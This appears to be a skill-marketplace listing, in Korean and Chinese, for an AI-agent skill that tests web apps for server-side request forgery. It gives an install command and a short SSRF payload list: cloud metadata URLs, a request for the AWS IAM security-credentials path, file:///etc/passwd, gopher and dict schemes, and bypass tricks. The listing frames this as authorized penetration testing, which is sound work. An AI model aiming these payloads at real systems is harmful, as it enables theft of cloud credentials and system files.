performing-ssrf-vulnerability-exploitation

通过探测云元数据端点、内网服务和协议处理器，检测用户可控 URL 参数中的服务端请求伪造（SSRF）漏洞。测试 AWS/GCP/Azure 元数据 API（169.254.169.254）、通过 HTTP 进行内网端口扫描、URL 协议绕过技术以及 DNS 重绑定检测。

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.

직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.

npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill performing-ssrf-vulnerability-exploitation

명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.

로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

파일 탐색기

4 개 파일

SKILL.md

소스 지침 · 읽기 전용 미리보기

name	performing-ssrf-vulnerability-exploitation
description	通过探测云元数据端点、内网服务和协议处理器，检测用户可控 URL 参数中的服务端请求伪造（SSRF）漏洞。测试 AWS/GCP/Azure 元数据 API（169.254.169.254）、通过 HTTP 进行内网端口扫描、URL 协议绕过技术以及 DNS 重绑定检测。
domain	cybersecurity
subdomain	security-operations
tags	["performing","ssrf","vulnerability","exploitation"]
version	1.0
author	mahipal
license	Apache-2.0

安装依赖：pip install requests
识别目标应用中接受 URL 或主机名的 URL 参数。
测试 SSRF 载荷：
- 云元数据：http://169.254.169.254/latest/meta-data/
- 内网服务：http://127.0.0.1:port/、http://10.0.0.1/
- 协议处理器：file:///etc/passwd、gopher://、dict://
- 绕过技术：IP 编码、DNS 重绑定、URL 重定向
分析响应，确认信息泄露或内网访问。
生成漏洞评估报告。

# 仅用于已授权的渗透测试和实验室环境
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

如果响应中包含 AWS 凭据（AccessKeyId、SecretAccessKey），则证实存在高危 SSRF 漏洞。